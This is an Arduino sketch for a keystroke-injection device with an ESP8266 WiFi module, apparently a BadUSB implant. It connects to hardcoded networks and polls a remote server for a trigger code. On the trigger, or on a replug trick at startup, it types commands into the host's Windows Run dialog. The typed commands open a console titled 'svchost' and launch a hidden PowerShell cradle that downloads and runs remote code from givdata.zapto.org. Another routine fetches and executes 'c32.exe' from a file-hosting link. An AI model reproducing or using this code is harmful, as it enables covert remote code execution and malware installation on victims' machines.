#include <SoftwareSerial.h>
#include "Keyboard.h"
#include <EEPROM.h>
//#define _SS_MAX_RX_BUFF 256 // RX buffer size //BEFORE WAS 64
SoftwareSerial esp8266Module(8, 9); // RX, TX
String network[2] = {"TestingName", "SKYE1467"};
String password[2] = {"TestingPass", "DTRAWDSS"};
int myNetworksCount = 2;
unsigned long startTimeTimedLoop;
int wifiStatus = 1;
#define WEBDELIVERY_CODE "37s8nf82n0l"
void setup() {
Serial.begin(9600);
esp8266Module.begin(9600);//(115200);
//plug in and out within 3 sec to trigger webdelivery at the next plug in
char triggerDefault = 0;
EEPROM.get(0, triggerDefault);
char c = 1;
EEPROM.put(0, c);
if (triggerDefault == 1)
{
PowershellDownloadFile();
//Web_Delivery();
}
delay(3000);
c = 0;
EEPROM.put(0, c);
delay(5000);
}
void loop()
{
switch (wifiStatus)
{
case 0: // 0 need to reset or beginning of loop
Serial.println("TRYING esp8266Reset");
esp8266Reset();
break;
case 1: // 1 reset complete check wifi mode
delay(200);
Serial.println("TRYING changeWifiMode");
changeWifiMode();
break;
case 2: // 2 wifi mode is 3, now check network connection
delay(200);
Serial.println("TRYING checkWifiStatus");
checkWifiStatus();
break;
case 3: // 3 If not connected connect to network
delay(200);
Serial.println("TRYING connectToWifi");
connectToWifi();
//connectToWifi("networkIdetifier", "networkPassword");
break;
case 4: // 4 request page from server
delay(200);
Serial.println("TRYING getPage");
getPage("givdata.zapto.org", "/test", true, "5123"); // (website, page, isItMyServer, port)
// getPage("sa-mp.im", "/api/v1/players/get", false, "80");
break;
case 5: // 5 unlink from server after request
delay(200);
Serial.println("TRYING unlinkPage");
unlinkPage();
break;
}
}
bool esp8266Reset() {
esp8266Module.println(F("AT+RST"));
//esp8266Module.println("AT+RST\r\n");
startTimeTimedLoop = millis();
while (TimedLoop(7000))
{
if (esp8266Module.find("ready") || esp8266Module.find("WIFI CONNECTED") || esp8266Module.find("WIFI GOT IP"))
{
wifiStatus = 1;
Serial.println("Resetted");
return true;
}
}
wifiStatus = 0;
return false;
}
bool changeWifiMode()
{
esp8266Module.println(F("AT+CWMODE?"));
startTimeTimedLoop = millis();
while (TimedLoop(1000))
{
if (esp8266Module.find("1"))
{
wifiStatus = 2;
return true;
}
}
esp8266Module.println(F("AT+CWMODE=1"));
startTimeTimedLoop = millis();
while (TimedLoop(5000))
{
if (esp8266Module.find("no change") || esp8266Module.find("OK"))
{
wifiStatus = 2;
return true;
}
}
wifiStatus = 0;
return false;
}
bool checkWifiStatus() {
esp8266Module.println("AT+CWJAP?");
startTimeTimedLoop = millis();
while (TimedLoop(5000))
{
if (esp8266Module.find(":")) //"No AP" is displayed if it's not connected
{
Serial.println("WIFI NETWORK CONNECTED");
wifiStatus = 4;
return true;
}
}
wifiStatus = 3;
return false;
}
bool connectToWifi()
{
esp8266Module.println("AT+CWLAP");
bool foundAppropriateNetwork = false;
int appropriateNetworkIndex = 0;
startTimeTimedLoop = millis();
String netLineBuff = "";
while (TimedLoop(12000) && foundAppropriateNetwork == false)
{
while (esp8266Module.available() > 0)
{
char c = esp8266Module.read();
netLineBuff += c;
if (c == ')')
{
Serial.println(netLineBuff);
for (int i = 0; i < myNetworksCount; i++)
{
if (netLineBuff.indexOf(network[i]) >= 0)
{
foundAppropriateNetwork = true;
appropriateNetworkIndex = i;
netLineBuff = "";
break;
}
}
netLineBuff = "";
}
}
}
if (foundAppropriateNetwork == true)
{
String cmd = F("AT+CWJAP=\"");
cmd += network[appropriateNetworkIndex];
cmd += F("\",\"");
cmd += password[appropriateNetworkIndex];
cmd += F("\"");
Serial.println("Trying to connect with: ");
Serial.print("Name - ");
Serial.println(network[foundAppropriateNetwork]);
Serial.print("Password - ");
Serial.println(password[foundAppropriateNetwork]);
esp8266Module.println(cmd);
startTimeTimedLoop = millis();
while (TimedLoop(5000))
{
if (esp8266Module.find("OK"))
{
Serial.println("CONNECTED TO WIFI");
wifiStatus = 4;
return true;
}
}
}
wifiStatus = 0;
return false;
}
bool getPage(String website, String page, bool isItMyServer, String port) {
String cmd = F("AT+CIPSTART=\"TCP\",\"");
cmd += website;
cmd += F("\",");
cmd += port;
Serial.println(cmd);
esp8266Module.println(cmd);
bool linkedToServer = false;
startTimeTimedLoop = millis();
while (TimedLoop(5000))
{
while (esp8266Module.available() > 0)
{
Serial.write(esp8266Module.read());
}
if (esp8266Module.find("CONNECT")) //Linked"))
{
Serial.println("Connected to server");
linkedToServer = true;
}
else if (esp8266Module.find("ALREADY CONNECTED"))
{
Serial.println("Connection already established");
linkedToServer = true;
}
}
if (linkedToServer == false)
{
Serial.println("ERROR: Failed to connect with the server: ");
while (esp8266Module.available() > 0)
{
Serial.write(esp8266Module.read());
}
//wifiStatus = 0;
return false;
}
cmd = "GET ";
cmd += page;
//cmd += "?something=1&lol=2";
//cmd += " HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: www.onet.pl\r\nConnection: close\r\nUser-Agent: Python-urllib/2.7\r\n\r\n";
cmd += " HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: ";
cmd += website;
if (isItMyServer == true)
{
cmd += ":";
cmd += port;
}
cmd += "\r\nConnection: close\r\nUser-Agent: Python-urllib/2.7\r\n\r\n";
Serial.println(cmd);
esp8266Module.print("AT+CIPSEND=");
esp8266Module.println(cmd.length() + 1);
Serial.println(cmd.length() + 1);
bool httpRequestInputReady = false;
startTimeTimedLoop = millis();
while (TimedLoop(3000) && httpRequestInputReady == false)
{
if (esp8266Module.find(">"))
{
Serial.println("found > prompt - issuing GET request");
esp8266Module.println(cmd);
httpRequestInputReady = true;
}
}
if (httpRequestInputReady == false)
{
wifiStatus = 5;
Serial.println("ERROR: No '>' prompt received after AT+CIPSEND");
return false;
}
startTimeTimedLoop = millis();
String dataRetrieved = "";
char c;
while (TimedLoop(7000))
{
while (esp8266Module.available() > 0)
{
c = esp8266Module.read();
Serial.write(c);
dataRetrieved += c;
if (dataRetrieved.length() > 300)
{
CheckProtocol(dataRetrieved);
dataRetrieved = "";
}
}
if (dataRetrieved.indexOf("CLOSED") >= 0)
{
CheckProtocol(dataRetrieved);
dataRetrieved = "";
}
}
if (esp8266Module.find("test"))
{
Serial.println("Success");
wifiStatus = 5;
return true;
}
else
{
wifiStatus = 5;
return false;
}
}
bool unlinkPage() {
esp8266Module.println(F("AT+CIPCLOSE"));
//esp8266Module.println("AT+CIPCLOSE");
startTimeTimedLoop = millis();
while (TimedLoop(3000))
{
while (esp8266Module.available() > 0)
{
Serial.write(esp8266Module.read());
}
if (esp8266Module.find("CLOSED"))//Unlink
{
Serial.println("Unlinked");
wifiStatus = 0;
return true;
}
}
wifiStatus = 4;
return false;
}
bool TimedLoop(unsigned long limit)
{
if (millis() - startTimeTimedLoop > limit)
{
return false;
}
return true;
}
void openRun()
{
Keyboard.press(KEY_LEFT_GUI);
delay(200);
Keyboard.press('r');
delay(200);
Keyboard.releaseAll();
}
void openCmd(int wait)
{
openRun();
delay(wait);
Keyboard.print("cmd");
typeKey(KEY_RETURN);
}
void EnterCommand(char text[])
{
Keyboard.print(text);
delay(10);
typeKey(KEY_RETURN);
}
void EnterCommand(String text)
{
Keyboard.print(text);
delay(10);
typeKey(KEY_RETURN);
}
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void CheckProtocol(String str)
{
if (str.indexOf(WEBDELIVERY_CODE) >= 0)
{
Web_Delivery();
//delay(3000);
//openCmd(300);
//delay(500);
//EnterCommand("echo off & color 78 & cls");
//delay(500);
//Keyboard.print("powershell.exe -nop -w hidden -c $u=new-object net.webclient;$u.proxy=[Net.WebRequest]::GetSystemWebProxy();$u.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $u.downloadstring('http://givdata.zapto.org:5432/'); & exit");
//typeKey(KEY_RETURN);
}
}
void Web_Delivery()
{
delay(3000);
openCmd(300);
delay(500);
EnterCommand("echo off & title svchost & color 78 & cls");
delay(500);
Keyboard.print("powershell.exe -nop -w hidden -c $u=new-object net.webclient;$u.proxy=[Net.WebRequest]::GetSystemWebProxy();$u.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $u.downloadstring('http://givdata.zapto.org:5432/'); & exit");
typeKey(KEY_RETURN);
//EnterCommand(cmd);
}
void PowershellDownloadFile()
{
delay(3000);
openCmd(300); //("powershell Start-Process cmd -Verb runAs");
delay(500);
EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
EnterCommand("powershell @$down = New-Object System.Net.WebClient; $url = 'https://1fichier.com/?6w1304v8q'; $file = 'c32.exe'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;@ & exit");
//stealth way (idk if works)
//openRun();
//delay(700);
//EnterCommand("powershell.exe -nop -w hidden -c $down = New-Object System.Net.WebClient; $url = 'https://1fichier.com/?6wv46518q'; $file = 'c32.exe'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");
}